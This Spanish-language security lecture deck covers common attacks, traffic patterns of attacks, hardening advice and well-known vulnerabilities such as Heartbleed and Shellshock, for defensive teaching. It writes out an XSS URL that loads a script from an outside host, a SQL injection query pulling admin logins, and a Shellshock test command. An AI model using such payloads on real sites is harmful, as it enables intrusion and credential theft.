Está en la página 1de 82

Ataques

Paula Cecilia Martinez


Conceptos básicos de la seguridad informática
● CONFIDENCIALIDAD
● INTEGRIDAD
● DISPONIBILIDAD
● AUTENTICIDAD
Conceptos básicos de la seguridad informática
No existe la absoluta seguridad !!

● Todo es rompible si se le aplica fuerza. Una caja de vidrio se puede romper, pero
también una caja fuerte de titanio. ¿Qué es más seguro: la caja de vidrio o la de titanio?

● Evidentemente la de titanio, pero esto depende solamente de que herramienta


utilicemos para romperla.

● Todo se puede vulnerar. La única razón por la cual utilizamos rejas de hierro en nuestras
casas y los bancos es porque hace que el ataque sea más lento.
Conceptos básicos de la seguridad informática
Entonces, ¿Cómo nos protegemos de la forma más eficiente posible?

● Determinando que queremos proteger (ej: Hardware, datos privados, datos


públicos, sistemas, etc)
● Estableciendo prioridades de los factores a proteger
● Formando políticas de seguridad
● Manteniendo la seguridad en el tiempo
Conceptos básicos de la seguridad informática
● Debemos enfocarnos en REDUCIR EL RIESGO, y no en tratar de eliminar las
amenazas, ya que es imposible.
● Para eso debemos saber de QUÉ o QUIENES nos protegemos y también
COMO nos atacan.
Seguridad en ambientes de servidores y plataformas WEB

Ataques Internos

● Premeditación (Empleados malintencionados o ex empleados con información privilegiada)


● Descuido
● Ignorancia
● Indiferencia de las políticas de seguridad

Ataques externos

● Hackers, Crackers, Lammers, Script-Kiddies


● Motivaciones: Ranking, reto personal, robo de datos, pruebas (pen test), etc.
Seguridad en ambientes de servidores y plataformas WEB

Ataques Internos

● Suplantación de identidad
● Sniffing (Incluso administradores pueden hacer sniffing. Sugerencia: CIFRAR)
● Robo de información (Ej: para la competencia)
● Virus, Troyanos, Gusanos
● Espionaje: Trashing, Shoulder Surfing, Grabaciones, etc
● Keylogging - Keycatching
● Keycatcher:
Seguridad en ambientes de servidores y plataformas WEB

Ataques Externos

● Ataques contra servicios WEB


● Cross Site Scripting (XSS)
● SQL Injection
● Exploits
● Robo de Identidad
● Denegación de Servicio (DoS) y Denegación de Servicio Distribuido (DDoS)
● SPAM
● VIRUS
● Phishing (Whishing, Hishing)
● Troyanos
XSS
Ataques XSS y SQL Injection
● XSS:

http://docs.info.apple.com/article.html?artnum=';a=document.createElement('script');a.src='http:
//h4k.in/i.js';document.body.appendChild(a);//\';alert(1)//%22;alert(2)//\%22;alert(3)//--%3E

● SQL Injection:

http://www.sitiovulnerable.com/index.php?id=10 UNION SELECT TOP 1 login_name FROM


admin_login--
Peligros y modos de ataque (1/8)
● Sniffing : consiste en escuchar los datos que atraviesan la red, sin interferir con la conexión a la que
corresponden, principalmente para obtener passwords, y/o información confidencial. Protección: basta con
emplear mecanismos de autenticación y encriptación, red conmutada

● Barrido de puertos: utilizado para la detección de servicios abiertos en máquina tanto TCP como UDP (por
ejemplo un telnet que no esté en el puerto 23, ..). Protección: filtrado de puertos permitidos y gestión de logs
y alertas.

● Bug de fragmentación de paquetes IP: con longitudes ilegales (más pequeñas o más grandes) de
fragmentos, con solape entre ellos o saturación con multitud de fragmentos pequeños (ej. ping de la muerte)
Protección: actualmente en los routers se limita el tráfico ICMP, incluso se analiza la secuencia de
fragmentación, o bien parchear el SSOO
Peligros y modos de ataque (2/8)
● Explotar bugs del software: aprovechan errores del software, ya que a la mayor parte del software se le ha añadido la
seguridad demasiado tarde, cuando ya no era posible rediseñarlo todo y con ello puede adquirir privilegios en la
ejecución, por ejemplo buffers overflow (BOF o desbordamiento de pila[1]) Además, muchos programas corren con
demasiados privilegios. La cadena o secuencia de órdenes para explotar esta vulnerabilidad del software se conoce
como exploit. Ataque: los hackers se hacen con una copia del software a explotar y lo someten a una batería de
pruebas para detectar alguna debilidad que puedan aprovechar. Protección: correcta programación o incluir parches
actualizando los servicios instalados.

● [1] Desbordamiento de pila: sobre la entrada de datos en un programa privilegiado que no verifica la longitud de los
argumentos a una función, y se sobreescribe la pila de ejecución modificando la dirección de retorno (para que salte
donde nos interese).

● Las funciones de C “strcpy”, “strcat”, “gets”, son potencialmente vulnerables.


Peligros y modos de ataque (3/8)
● Caballo de Troya : un programa que se enmascara como algo que no es, normalmente con el propósito de
conseguir acceso a una cuenta o ejecutar comandos con los privilegios de otro usuario. Ataque: el atacante
por ejemplo sabotea algún paquete de instalación o saboteando una máquina, modifica las aplicaciones, p.ej
“ls”, “ps”, .. Protección: revisión periódica de compendios, firma digital, comprobación del sistema de ficheros
(ejemplo aplicación “tripware”), etc

● Ataques dirigidos por datos : son ataques que tienen lugar en modo diferido, sin la participación activa por
parte del atacante en el momento en el que se producen. El atacante se limita a hacer llegar a la víctima una
serie de datos que al ser interpretados (en ocasiones sirve la visualización previa típica de MS. Windows)
ejecutarán el ataque propiamente dicho, como por ejemplo un virus a través del correo electrónico o código
JavaScript maligno. Protección: firma digital e información al usuario (lecturas off-line, o en otro servidor o
instalar antivirus en el servidor de correo)
Peligros y modos de ataque (4/8)
● Denegación de servicios : estos ataques no buscan ninguna información sino a impedir que sus usuarios legítimos
puedan usarlas. Ejemplos:

● SYN Flooding, realizando un número excesivo de conexiones a un puerto determinado, bloqueando dicho puerto. Un
caso particular de este método es la generación masiva de conexiones a servidores http o ftp, a veces con dirección
origen inexistente para que no pueda realizar un RST. Protección: en el servidor aumentar el límite de conexiones
simultáneas, acelerar el proceso de desconexión tras inicio de sesión medio-abierta, limitar desde un cortafuegos el
número de conexiones medio abiertas

● Mail bombing, envío masivo de correos para saturar al servidor SMTP y su memoria. Protección : similar a SYN
Flooding

● Pings (o envío de paquetes UDP al puerto 7 de echo) a direcciones broadcast con dirección origen la máquina
atacada. Estas técnicas son conocidas como Smurf (si pings), Fraggle (si UDP echo). Protección : parchear el SSOO
para que no realice pings broadcasts y que limite el procesado de paquetes ICMP

● En una red “stub” con conexión WAN al exterior lenta, agotar el ancho de banda del enlace, haciendo generar tráfico
innecesario. Protección : fijar QoS en el enlace
Peligros y modos de ataque (5/8)
● Ingeniería social: son ataques que aprovechan la buena voluntad de los usuarios de los sistemas atacados. Un
ejemplo de ataque de este tipo es el siguiente: se envía un correo con el remite "root" a un usuario con el mensaje
"por favor, cambie su password a “informática". El atacante entonces entra con ese password. A partir de ahí puede
emplear otras técnicas de ataque. O incitando a ver determinadas páginas web, descargar fotos, ...Protección: educar
a los usuarios acerca de qué tareas no deben realizar jamás, y qué información no deben suministrar a nadie, salvo al
administrador en persona.

● Acceso físico: a los recursos del sistema y pudiendo entrar en consola, adquirir información escrita, etc Protección:
políticas de seguridad, dejar servidores bajo llave y guardia de seguridad, tal como se vigila alguna cosa de valor.

● Adivinación de passwords: la mala elección de passwords por parte de los usuarios permiten que sean fáciles de
adivinar (o por fuerza bruta) o bien que el propio sistema operativo tenga passwords por defecto. Ejemplo: muchos
administradores utilizan de password “administrador” ;-) Protección: políticas de seguridad
Peligros y modos de ataque (6/8)
● Spoofing : intento del atacante por ganar el acceso a un sistema haciéndose pasar por otro,
ejecutado en varios niveles, tanto a nivel MAC como a nivel IP:

● ARP Spoofing (que una IP suplantada tenga asociada la MAC del atacante). Ataque: el atacante
falsifica paquetes ARP indicando gratuitamente su MAC con la IP de la máquina suplantada. Los hosts
y los switches que escuchan estos mensajes cambiarán su tabla ARP apuntando al atacante

● IP Spoofing (suplanta la IP del atacante). Ataque: el atacante debe de estar en la misma LAN que el
suplantado, y modifica su IP en combinación con ARP spoofing, o simplemente “sniffea” todo el
tráfico en modo promiscuo.
Peligros y modos de ataque (6/8)
● DNS Spoofing (el nombre del suplantado tenga la IP del atacante ), donde el intruso se hace pasar
por un DNS. Ataque: el atacante puede entregar o bien información modificada al host, o bien
engañar al DNS local para que registre información en su cache. P.ej, puede hacer resolver
www.banesto.com a una IP que será la del atacante, de forma que cuando un usuario de Banesto se
conecta, lo hará con el atacante.

● Protección ante Spoofing: introducir autenticación y cifrado de las conexiones para ARP e IP
Spoofing. Aunque la intrusión se realice en capa 2 ó 3 se puede detectar en capa 7. En el caso de
ARP, configurar que el host o switch aprenda MAC’s sólo de paquetes ARP unicast. Para DNS
Spoofing, utilizar certificados para comprobar fidedignamente la identidad del servidor.
Peligros y modos de ataque (7/8)
● Confianza transitiva : en sistemas Unix existen los conceptos de confianza entre hosts y entre usuarios (red
de confianza), y por tanto pueden conectarse entre sí diferentes sistemas o usuarios sin necesidad de
autentificación de forma “oficial”, utilizando sólo como identificativo la IP (IP registrada de la cual se fía). Son
autorizaciones y permisos locales bien definidos entre usuarios y máquinas. Ejemplo en Linux las
aplicaciones r* (rsh, rlogin, rcp,...), Xwindow, RPC, ... utilizan el fichero /etc/hosts.equiv o el fichero en
$HOME/.rhost. Ataque: cualquier atacante que tome el control de una máquina o bien suplante la IP
(spoofing), podrá conectarse a otra máquina gracias a la confianza entre hosts y/o entre usuarios sin
necesidad de autenticación. Protección: encriptación del protocolo y exigir siempre autenticación, evitar
redes de confianza.
Peligros y modos de ataque (7/8)
● Hijacking : consiste en robar una conexión después de que el usuario (a suplantar) ha superado con éxito el
proceso de identificación ante el sistema remoto. Para ello el intruso debe sniffear algún paquete de la
conexión y averiguar las direcciones IP, los ISN y los puertos utilizados. Además para realizar dicho ataque, el
atacante deberá utilizar la IP de la máquina suplantada.Ataque: en un momento determinado, el intruso se
adelanta una respuesta en la conexión TCP (con los ISN correctos, lo cual lo obtiene por sniffing) y por tanto
el que estaba conectado no cumple con los ISN debido a que el intruso mandó información válida y queda
excluido de la conexión (su conexión TCP aparente se ha colgado), tomando el control el intruso. Otra acción
adicional, sería inutilizar al suplantado con una ataque DoS. Protección: uso de encriptación o uso de una red
conmutada.
Peligros y modos de ataque (8/8)
● Enrutamiento fuente: los paquetes IP admiten opcionalmente el enrutamiento fuente, con el que la persona que inicia
la conexión TCP puede especificar una ruta explícita hacia él. La máquina destino debe usar la inversa de esa ruta
como ruta de retorno, tenga o no sentido, lo que significa que un atacante puede hacerse pasar (spoofing) por
cualquier máquina en la que el destino confíe (obligando a que la ruta hacia la máquina real pase por la del atacante).
Protección: dado que el enrutamiento fuente es raramente usado, la forma más fácil de defenderse contra ésto es
deshabilitar dicha opción en el router.

● ICMP Redirect: con la opción redirect, alguien puede alterar la ruta a un destino para que las conexiones en las que
esté interesado pasen por el atacante, de forma que pueda intervenirlas. Los mensajes “redirect” deben obedecerlos
sólo los hosts, no los routers, y sólo cuando estos provengan de un router de una red directamente conectada.
Protección: filtrado de paquetes.

● Modificación de los protocolos de routing: RIP, BGP, ... de forma que redirecciona la información por otras rutas del
atacante. Esta técnica es poco habitual y compleja.Protección: utilizar rutas estáticas o protocolos de routing con
encriptación.
Patrones de
tráfico de Red
Patrones de tráfico normales
● FTP
1. 11:46:14.212003 maq1.hack.com.1053 > flood.victim.com.21: S 1884312222:1884312222(0)
2. 11:46:14.212003 flood.victim.com.21> maq1.hack.com.1053: S 3113925437: 3113925437 (0) ack 1884312223
3. 11:46:14.212003 maq1.hack.com.1053 > flood.victim.com.21: . ack 1
4. 11:46:14.212003 flood.victim.com.21> maq1.hack.com.1053: P 1:24 (23) ack 1
5. 11:46:14.212003 maq1.hack.com.1053 > flood.victim.com.21: . ack 24

● Conexión FTP
○ Sincronización de tres sentidos - (1,2,3)
○ Transmisión de mensaje de bienvenida - (4, 5)
Patrones de tráfico normales
DNS: Solicitud de resolución de la dirección www.sans.org
1. host.my.com.1716 > dns.my.com.53: 1+ (35)
2. dns.my.com.53 > h.root-servers.net.53: 12420 (30) (DF)
3. h.root-servers.net.53>dns.my.com.53: 12420 - 0/3/3 (153) (DF)
4. dns.my.com.53>server1.sans.org.53 12421+ (30) (DF)
5. server1.sans.org.53> dns.my.com.53:12421* 1/3/3 (172)
6. dns.my.com.53>host.my.com.1716: 1* 1/3/3

Tráfico tomado de: Northcutt y Novak (2001) Pág. 100.


1. Host.my.com efectúa petición para resolver la dirección www.sans.org. UDP de 35 bytes
2. Dns.my.com intenta conexión por el puerto 53 con h.root-servers.net por el puerto 53. UDP de 30 bytes. No. petición 12420
3. h.root-servers.net no obtiene respuesta a la petición (0/3/3) 0 registros de respuesta, tres registros autorizados y otros tres adicionales.
4. Se obtiene referencia a otro servidor DNS (server1.sans.org) que tiene la respuesta. No. petición:12421. Solicita recursión (signo +)
5. server1.sans.org es el servidor autorizado que tiene la respuesta. El (* ) Significa que es una respuesta autorizada.
6. dns.my.com responde a host.my.com, con la dirección IP de www.sans.org (no se ve aquí) más los tres registros autorizados y los adicionales.
Patrones de tráfico normales
● PING - ICMP

13:50:14.056364 otro0304.victim.net > otro.victim.net: icmp: echo request


13:50:14.060145 otro.victim.net > otro0304.victim.net: icmp: echo reply
13:50:15.066611 otro0304.victim.net > otro.victim.net: icmp: echo request
13:50:15.153021 otro.victim.net > otro0304.victim.net: icmp: echo reply
13:50:16.040259 otro0304.victim.net > otro.victim.net: icmp: echo request
13:50:16.043643 otro.victim.net > otro0304.victim.net: icmp: echo reply

● Ejecución del comando ping otro.victim.net


Patrones de tráfico normales
● TELNET
1. maq1.net.39904 > victim.com.23: S 733381829: 733381829 (0) win 8760 <mss 1460> (DF)
2. victim.com.23 > maq1.net.39904: S 1192930639: 1192930639 (0) ack 733381830 win 1024 <mss 1460> (DF)
3. maq1.net.39904 > victim.com.23: . ack 1win 8760 (DF)
4. maq1.net.39904 > victim.com.23 : P 1:28(27) ack 1 win 8760 (DF)
5. victim.com.23 > maq1.net.39904 : P 1:14(13) ack 1 win 1024
6. victim.com.23 > maq1.net.39904 : P 14:23(9) ack 28 win 1024

1, 2, 3 Sincronización de tres sentidos

4. La máquina maq1.net enviando 27 bytes de datos a victim.com.23. 28 representa el siguiente byte que se espera.
5. La máquina victim.com.23 envia 13 bytes y acuse de recibo de los primeros datos.
6. Envío de la máquina victim.com.23 envia 9 bytes adicionales y se efectúa un ACK 28 ya que el byte 28 es el que se
espera.
Patrones de tráfico normales
● ARP

13:50:17.384288 arp who-has LK01-112322 tell otra.victim.net


13:50:17.406848 arp who-has LK01-112322 tell info.victim.net
13:50:17.410944 arp who-has COLASRV tell xxx.victim.net
13:50:17.436873 arp who-has LK01-112297 tell LK01-112322
13:50:17.530452 arp who-has 172.23.1.1 tell 172.23.1.6
13:50:17.547320 arp who-has INFOGER tell info.victim.net
13:50:17.700603 arp who-has 172.16.103.10 tell DCO-01084202
13:50:18.017876 arp who-has LP01-10213 tell info.victim.net

● Preguntas de reconocimiento de máquinas en una red LAN.


Patrones de tráfico: Anormales (An) - Ataques (At)
At - Land Attack

13:50:17.384288 protect-50.sawyer.af.mil.135 > protect-50.sawyer.af.mil.135: udp 46


13:50:17.406848 protect-50.sawyer.af.mil.135 > protect-50.sawyer.af.mil.135: udp 46
13:50:17.410944 protect-50.sawyer.af.mil.135 > protect-50.sawyer.af.mil.135: udp 46
13:50:17.436873 protect-50.sawyer.af.mil.135 > protect-50.sawyer.af.mil.135: udp 46
13:50:17.530452 protect-50.sawyer.af.mil.135 > protect-50.sawyer.af.mil.135: udp 46

Efecto: Negación de servicio sobre Microsoft NT 4.0 SP.4

Explicación: Envío de paquetes datagramas RPC suplantados al puerto 135 (UDP), que aparece como si un
RPC server envía datos erróneos a otro RPC server. El segundo servidor rechaza (REJECT) el paquete y el
primer servidor responde con otro REJECT, creando un loop infinito que compromete la red.

Tomado de: Northcutt et al. (2001) Pág. 191.


Patrones de tráfico: Anormales (An) - Ataques (At)
At - Smurf Attack

13:50:17.384288 179.135.168.43 > 256.256.30.255: icmp echo request (DF)


13:50:17.406848 68.90.226.250 > 256.256.30.255: icmp echo request (DF)
13:50:17.410944 138.98.10.247 > 256.256.30.255: icmp echo request (DF)
13:50:17.436873 130.113.202.100 > 256.256.30.255: icmp echo request (DF)
13:50:17.530452 171.1.55.45 > 256.256.30.255: icmp echo request (DF)
13:50:17.550424 174.30.0.46 > 256.256.30.255: icmp echo request (DF)

Efecto: Negación de servicio sobre una red. Generalmente la dirección destino de los paquetes es una dirección
broadcast.

Explicación: Los atacantes crean paquetes donde no utilizan su dirección IP, sino que crean paquetes con
direcciones suplantadas. Cuando las máquinas en el sitio intermediario respondan al ICMP echo request, ellos
responden al computador víctima. Se presenta congestión en la red y el computador víctima se degrada.

Tomado de: Northcutt et al. (2001) Pág. 215-216.


Patrones de tráfico: Anormales (An) - Ataques (At)
At - Predicción de secuencia

13:50:17.384288 apollo.it.luc.edu.1000 > x-terminal.shell: S 1382726990: 1382726990(0) win 4096


13:50:17.406848 x-terminal.shell > apollo.it.luc.edu.1000: S 2021824000: 2021824000(0) ack 1382726991 win 4096
13:50:17.410944 apollo.it.luc.edu.1000 > x-terminal.shell: R 1382726991: 1382726991(0) win 0

13:50:17.414288 apollo.it.luc.edu.999 > x-terminal.shell: S 1382726991: 1382726991(0) win 4096


13:50:17.406848 x-terminal.shell > apollo.it.luc.edu.999: S 2021952000: 2021952000(0) ack 1382726992 win 4096
13:50:17.410944 apollo.it.luc.edu.999 > x-terminal.shell: R 1382726992: 1382726992(0) win 0

Efecto: Si efectuamos la resta entre 2021824000 - 2021952000, tenemos como resultado 128.000. Con esto
podemos predecir la respuesta de una conexión y la capacidad de silenciar un lado, podemos invadir una sesión
entre dos máquinas

Explicación: Esta es la fase preliminar de un ataque. Mientras se efectúa un SYN Flood, el servidor se congestiona,
se utiliza la relación de confianza que se tenga para efectuar la conexión.

Tomado de: Northcutt y Novak (2001) Pág. 122.


Patrones de tráfico: Anormales (An) - Ataques (At)
An - Exploración Web extraña

x.y.y.6879 > 172.20.1.0.80: S 1025092638: 1025092638(0) win 61440


x.y.y.7136 > 172.20.2.0.80: S 1041868014: 1041868014(0) win 61440
x.y.y.6879 > 172.20.1.0.80: S 1025092638: 1025092638(0) win 61440
x.y.y.7395 > 172.20.3.0.80: S 1059077568: 1059077568(0) win 61440
x.y.y.7136 > 172.20.2.0.80: S 1041868014: 1041868014(0) win 61440

Efecto: Esta exploración busca identificar servidores WEB.

Explicación: El envío de paquetes a la dirección 0 para tratar de difundir el paquete en ese segmento. Sin
embargo, la difusión de paquetes se aplica a protocolos UDP. Por tanto, el envío de paquetes SYN a las
direcciones .0 y .255 se interpreta como una dirección única y ningún host responderá esta petición.

Tomado de: Northcutt y Novak (2001) Pág. 256.


Seguridad en ambientes de servidores y plataformas WEB

¿CÓMO NOS DEFENDEMOS?

● Debemos crear una lista de ”mandamientos” que debemos seguir al pie de la


letra.
● No olvidarse que el hecho de no cumplir con alguno de estos mandamientos
inevitablemente caeremos en un mayor riesgo para los servicios que
queremos proteger.
Los mandamientos más importantes de seguridad
● Siempre respetar las políticas de seguridad
● Siempre tener nuestros servicios actualizados a la última versión conocida estable
● Utilizar mecanismos de criptografía para almacenar y transmitir datos sensibles
● Cambiar las claves cada cierto tiempo
● Auto-auditar nuestros propios servicios. Auto-atacarnos para saber si somos o no vulnerables
● Estar siempre alerta. Nunca pensar ”a nosotros nadie nos ataca”.
● No dejar respaldos con información sensible en directorios web
● No usar las mismas claves para servicios distintos (ej, la clave de root sea la misma que la de MySQL)
Seguridad en ambientes de servidores y plataformas WEB

SERVICIOS DE INTERNET

● Cambiar los puertos por defecto


● Garantizar el acceso solo a cuentas específicas
● Aplicar técnicas de Hardening
● Para servicios privados y confidenciales utilizar túneles seguros (VPN cifradas) en Internet y redes no
seguras
● Eliminar todos los banners posibles y sobre todo las versiones
● Habilitar módulos de seguridad (Ej mod_security en Apache)
● Levantar Firewalls e IDS/IPS
● Crear cuentas de sistema restringidas (aunque no tengan privilegios)
Seguridad en ambientes de servidores y plataformas WEB

SERVICIOS DE INTERNET

● Nunca trabajar con ”root” si no es estrictamente necesario

● Proteger con doble contraseña si es posible

● Elegir contraseñas seguras, mezclando mayúsculas, minúsculas, números y caracteres especiales.


Las claves no deben ser palabras coherentes (ej: Admin25)

● Cerrar puertos y eliminar aplicaciones innecesarias

● Borrar robots.txt y estadísticas públicas

● Proteger las URL (ej: mod_rewrite)


Seguridad en ambientes de servidores y plataformas WEB

SERVICIOS DE INTERNET
● Tener cuidado con los archivos temporales en directorios WEB. Ejemplo: index.php~ (terminados en carácter
“squiggle” o “pigtail (literalmente: cola de chancho)”
● Realizar respaldos periódicamente y probar que funcionen
● Conocer las técnicas de ataque más conocidas
● Auditar los códigos con herramientas de seguridad
● Si ejecutan algún servidor de base de datos, permitir solamente comunicación con interfaz loopback y no
dejar sin contraseña las bases de datos.
● En lo posible no utilizar servicios como:
○ WEBMIN
○ phpMyAdmin
○ Interfaces WEB en routers o dispositivos de red
Seguridad en ambientes de servidores y plataformas WEB

UN POCO MAS DE SEGURIDAD CON APACHE Y PHP

Apache: En httpd.conf activar las siguientes directivas:


ServerTokens Prod
ServerSignature Off
ServerAdmin <direccion@decorreo.com>

habilitar mod_security y mod_rewrite

PHP: En php.ini
● php_expose=off // “esconde php”
● mode_safe=on // evita que se ejecuten funciones como system(), passthru(), exec(), etc.
● evitar scripts con phpinfo();
Algunos ejemplos:
Algunos ejemplos:
Dirección: http://www.sitioweb.com/config.php

ESTA PÁGINA ES PRIVADA


Algunos ejemplos:
Dirección: http://www.sitioweb.com/config.php~
<?php

/*Variables base de datos*/


$sys['db_host'] = "localhost";
$sys['db_username'] = "root";
$sys['db_password'] = "123";
$sys['db_database'] = "base_de_datos";

echo "<center>ESTA PAGINA ES PRIVADA";

?>
Algunos ejemplos:
Solución al problema anterior:

UN CRON QUE ELIMINE LOS ARCHIVOS TEMPORALES

/etc/crontab

*/5 * * * * root rm /var/www/*.*~


Protección de redes Wi-Fi
El gran problema de las redes Wifi es gran extensión física (no hay cables), lo que
conlleva a que sea más fácil acceder a ellas remotamente.

Existen una serie de medidas que se puede tomar para reducir el riesgo de
ataques.
Protección de redes Wi-Fi
● Apagar el router o access point cuando no se ocupe
● Nunca entregar la clave Wi-Fi a terceros
● Utilizar claves de tipo WPA2. Como segunda opción WPA y en el peor de los casos WEP (128 y 64 bits)
● Habilitar el control de acceso por MAC. Son fáciles de clonar pero pone una barrera más
● Deshabilitar servicios innecesarios en el router (SNMP, Telnet, SSH, etc)
● Deshabilitar el acceso inalámbrico a la configuración
● Cambiar los puertos por defecto de los servicios necesarios en el router (ej: http a 1000)
● Desactivar el broadcasting SSID
● Desactivar DHCP. Utilizar sólo IP manuales dentro de rangos poco convencionales. (Ej: 90.0.10.0 – 90.0.10.254)
● Usar VPN si fuese posible.
Protección de redes Wi-Fi
● Cambiar regularmente las claves Wi-Fi (tanto administración como clave de red).

● Guardar bien las claves de administración

● Usar contraseñas complicadas. (Ej: E_aR@_1-x

● No usar dispositivos Wi-Fi cerca de hornos microondas ni teléfonos inalámbricos

● Realizar un escaneo local de las redes disponibles para evitar interferencias.

● LOS CANALES QUE NO SE INTERFIEREN SON: 1, 6 y 11


Ataques y
vulnerabilidades
recientes
Shellshock o Bash Bug (Septiembre 2014)
● Vulnerabilidad encontrada en Bash, afecta a Linux, Unix y MacOS.
● El error permite que atacantes ejecuten comandos si los mismos están concatenados al final de variables de
ambiente.
● Se liberó una versión de Bash que solucionaba la falla antes de darla a conocer.
● En los días subsecuentes se encontraron múltiples vulnerabilidades relacionadas con el mismo problema.
● Se desarrollaron malwares que se aprovechaban de esta vulnerabilidad para atacar servidores no
parcheados.
● Se puede verificar si la versión de bash utilizada es vulnerable con el siguiente comando:
env 'x=() { :;}; echo vulnerable' 'BASH_FUNC_x()=() { :;}; echo vulnerable' bash -c "echo
test"
Heartbleed, vulnerabilidad en OpenSSL
● Falla de seguridad considerada muy seria en OpenSSL.

● Esta vulnerabilidad permite robar información protegida, que bajo condiciones normales debería
estar encriptada.

● Un atacante puede leer porciones de memoria de sistemas que tiene la versión vulnerable de
OpenSSL.

● Las claves que protegen servicios como HTTPS pueden ser robadas, lo que permite ver información
encriptada, como usuarios y contraseñas.

● La vulnerabilidad estuvo activa durante unos 2 años hasta que fue encontrada y solucionada. No está
claro si era una falla conocida por atacantes y si fue utilizada antes de hacerse pública.
Heartbleed, vulnerabilidad en OpenSSL
● Importante: este ataque NO deja rastros en el servidor. No hay forma de saber si un atacante robó las claves
del servidor.

● Se puede preparar un IDS y Honeypots para detectar este tipo de ataque.

● OpenSSL cuenta con una función que permite que un cliente le pregunte al servidor si está activo (similar a
un ping).

● En dicha función, se envía desde el cliente una palabra y la cantidad de caracteres que se están enviando
(hola, 4).

● El servidor debe contestar con la misma palabra y la misma cantidad de caracteres.

● Qué ocurre si le envio una palabra pero le pido al servidor que me envie mas caracteres de los que le estoy
enviando yo desde el cliente? ej. (hola, 5000).

● Las siguientes imágenes muestran cómo funciona el ataque.


Biblioteca OpenSSL compilada por Debian (2008)
● En el año 2008 se encontró una falla de seguridad de gran importancia en el paquete OpenSSL de
Debian y derivados.

● Se introdujo un bug durante el proceso de creación del paquete .deb.

● El empaquetador ejecutó dos herramientas de análisis de código y encontró que las mismas
reportaban que dos líneas de código podrían producir problemas de uso de la biblioteca con
aplicaciones de terceros.

● Por tal motivo, comentaron dichas líneas en OpenSSL.

● El objetivo de esas líneas era que el generador de números aleatorios tuviera mayor aleatoriedad
para crear la semilla inicial para obtener números aleatorios.
Biblioteca OpenSSL compilada por Debian (2008)
● Al remover estas líneas, el generador de números aleatorios utilizaba como semilla sólo los números ID de
procesos (en Linux, el máximo de PIDs es 32768).

● Con esto, se generaban números aleatorios muy fáciles de obtener con ataques de fuerza bruta.

● Todas las claves generadas con OpenSSL (Debian y derivados, Ubuntu, etc) durante el periodo de tiempo
(desde septiembre 2006 a Mayo 2008) que estuvo esta falla de seguridad debieron ser regeneradas.

● Incluso sistemas que no tenían esta falla debieron ser auditados, en caso de que se hubieran copiado claves
en los mismos generadas con un sistema Debian o derivado.
SHA1
● Un grupo de investigadores ha conseguido romper el algoritmo de encriptación SHA1.

● La función hash SHA1 (como otras) permite crear un valor hash de un determinado dato (o archivo),
permitiendo luego que ese dato sea comprobado con la misma clave hash (similar a como se usa
MD5 en archivos ISO que se descargan de Internet).

● Ya se conocía que SHA1 era vulnerable, recientemente se realizaron demostraciones definitivas que
comprueban que no es seguro su uso.

● Es posible, con un software especial, generar un archivo especialmente creado, a partir de un hash
de otro archivo. De esta forma, dos archivos distintos, dan como resultado el mismo valor hash.
DDOS masiva a Spamhaus y CloudFlare
● El 18 de Marzo 2013, Spamhaus contacto a su proveedor de DNS, CloudFlare, porque se encontraban bajo
ataque de DDOS.

● El ataque fue solucionado inicialmente por CloudFlare, inicialmente era de aproximadamente 10Gbps.

● Al día siguiente el ataque aumento en tamaño, llegando a 90Gbps, y duro hasta el 21 de Marzo.

● El 22 de Marzo el ataque continuo y llego a 120Gbps de tráfico.

● CloudFlare utiliza un sistema distribuido para resolver las consultas DNS, así que estos ataques no generaron
demasiados inconvenientes.

● Luego de fallar, los atacantes cambiaron de táctica. En lugar de atacar a los clientes (spamhaus), comenzaron
a atacar a los proveedores de red que CloudFlare utiliza.
DDOS masiva a Spamhaus y CloudFlare
● El tipo de ataque de DDOS que se realizó se denomina “DNS Amplification”, previamente conocido como
Smurf Attack.

● El atacante utiliza servidores de DNS que resuelven para cualquier IP origen (abiertos).

● El atacante no está generando el tráfico de DOS el mismo, simplemente ordena a servidores de DNS
abiertos y estos son los que generan el tráfico DOS.

● Se recomienda leer atentamente los siguientes dos links para entender este tipo de ataques:
○ https://blog.cloudflare.com/the-ddos-that-almost-broke-the-internet/
○ https://blog.cloudflare.com/deep-inside-a-dns-amplification-ddos-attack/
Ransomware
● Que es? malware sofisticado que impide que la víctima pueda acceder a sus archivos. El
atacante demanda que la víctima pague para conseguir la clave para desencriptar los
archivos.

● Tipos:
○ de Encriptación: poseen algoritmos de encriptación avanzados, es el más popular
(CryptoLocker, Locky, CryptoWall).

○ de Bloqueo: impiden que la víctima acceda al sistemas operativo. Los archivos no están
encriptados pero el usuario nos los puede acceder porque el SO no arranca (Winlocker).

○ Instalados en el MBR, estos impiden que arranque el SO y muestran un mensaje que indica
cómo pagar para poder acceder a la máquina.
Ransomware: características
● Encripta todo tipo de archivos.

● Encriptación prácticamente inquebrantable.

● Cambia los nombres y extensiones de los archivos.

● Muestra una imagen o mensaje con la nota de “rescate”.

● Pide que el pago se haga en Bitcoins (no pueden ser rastreados).

● Generalmente tiene un tiempo límite para realizar el pago.

● Se puede propagar a otras máquinas a través de la red.

● Puede extraer información de las maquinas (usuarios, pass, etc)

● Puede hacer que la máquina forme parte una botnet y utilizarla para realizar otro tipo de ataques.
Ransomware: cómo se propaga?
● Campañas de Spam.

● Aplicaciones con vulnerabilidades conocidas.

● Redirección de tráfico de Internet a sitios maliciosos.

● Sitios web legítimos que han sido atacados y contienen código malicioso en sus páginas.

● Mensajes de SMS (para atacar dispositivos móviles).

● Botnets.

● auto-propagación, desde máquinas infectadas a otras conectadas en la misma red.


Ransomware: prevención
● Guardar archivos importantes en más de una PC

● Tener más de una copia de resguardo, por ejemplo, en un HD externo, un pendrive o en la nube

● Mantener la actualización automática de Dropbox/google drive/etc desactivada, activarla solo una


vez por dia para sincronizar

● Actualizar el SO y aplicaciones con los últimos parches de seguridad

● No utilizar un usuario con permisos de administración

● Desactivar macros en Microsoft Office.

● Desactivar los plugins Flash, Reader, Java y Silverlight de los navegadores.


Ransomware: prevención
● Desactivar add-ons y plugins del navegador que no se usan.

● Utilizar un ad-blocker para prevenir que se muestren avisos que puedan ser maliciosos.

● Nunca abrir email con spam o de remitentes desconocidos

● En general, se recomienda no pagar el rescate, no hay ningún tipo de garantías de que los atacantes
envíen la clave para desencriptar los archivos.

● Existen herramientas para desencriptar algunos tipos de ransomware, pero en general no sirven para
los ransomware más comunes y bien diseñados (ver links en referencias).
BlueBorne
★ La empresa de seguridad Armis ha descubierto un conjunto de ocho exploits que permiten vulnerar
las conexiones de prácticamente cualquier dispositivo Bluetooth. A este nuevo vector de ataque le
han llamado BlueBorne, y puede afectar a cualquier dispositivo, tanto smartphones como portátiles.

